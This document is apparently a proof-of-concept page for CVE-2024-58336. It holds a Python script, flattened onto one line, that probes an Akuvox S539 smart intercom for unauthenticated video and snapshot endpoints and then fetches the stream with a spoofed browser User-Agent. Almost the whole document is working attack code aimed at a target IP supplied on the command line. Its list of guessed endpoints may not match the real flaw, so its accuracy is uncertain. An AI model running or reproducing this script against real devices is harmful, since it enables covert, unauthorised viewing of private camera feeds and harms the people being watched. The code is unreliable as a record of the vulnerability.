CVE-2024-58336: Akuvox Smart Intercom S539 未认证视频流访问漏洞

#!/usr/bin/env python3 # CVE-2024-58336 PoC - Akuvox Smart Intercom Unauthenticated Video Stream Access # This PoC demonstrates the vulnerability in Akuvox Smart Intercom S539 import requests import sys import re def check_vulnerability(target_ip, port=8080): """ Check if target is vulnerable to CVE-2024-58336 """ print(f"[*] Checking CVE-2024-58336 on {target_ip}:{port}") # Try to access the video endpoint without authentication endpoints = [ f"/video.cgi", f"/cgi-bin/video.cgi", f"/cgi-bin/video", f"/livestream.cgi", f"/cgi-bin/livestream.cgi" ] for endpoint in endpoints: url = f"http://{target_ip}:{port}{endpoint}" try: print(f"[*] Trying endpoint: {url}") response = requests.get(url, timeout=10, stream=True) # Check if we get a video stream response if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = response.headers.get('Content-Length', 'Unknown') print(f"[+] SUCCESS! Endpoint {endpoint} is accessible") print(f"[+] Content-Type: {content_type}") print(f"[+] Content-Length: {content_length}") print(f"[+] Status Code: {response.status_code}") # Try to read first chunk to confirm video data try: chunk = next(response.iter_content(chunk_size=1024)) if len(chunk) > 0: print(f"[+] Received {len(chunk)} bytes of video data") return True except: pass except requests.exceptions.Timeout: print(f"[-] Request timeout for {endpoint}") except requests.exceptions.ConnectionError: print(f"[-] Connection error for {endpoint}") except Exception as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[-] No vulnerable endpoints found") return False def exploit_video_stream(target_ip, port=8080): """ Exploit the vulnerability to access video stream """ print(f"\n[*] Attempting to exploit video stream on {target_ip}:{port}") # Common video stream endpoints endpoints = [ "/video.cgi", "/cgi-bin/video.cgi", "/cgi-bin/snapshot.cgi?output=jpg" ] for endpoint in endpoints: url = f"http://{target_ip}:{port}{endpoint}" try: print(f"[*] Requesting: {url}") response = requests.get(url, timeout=10, stream=True, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) if response.status_code == 200: print(f"[+] Video stream accessible at {url}") print(f"[+] Headers: {dict(response.headers)}") return True except Exception as e: continue return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2024-58336.py <target_ip> [port]") print("Example: python3 cve-2024-58336.py 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 print("=" * 60) print("CVE-2024-58336 - Akuvox Smart Intercom Unauthenticated Access") print("=" * 60) is_vulnerable = check_vulnerability(target, port) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2024-58336") print("[!] Attackers can access video streams without authentication") exploit_video_stream(target, port) else: print("\n[*] Target appears to be NOT vulnerable")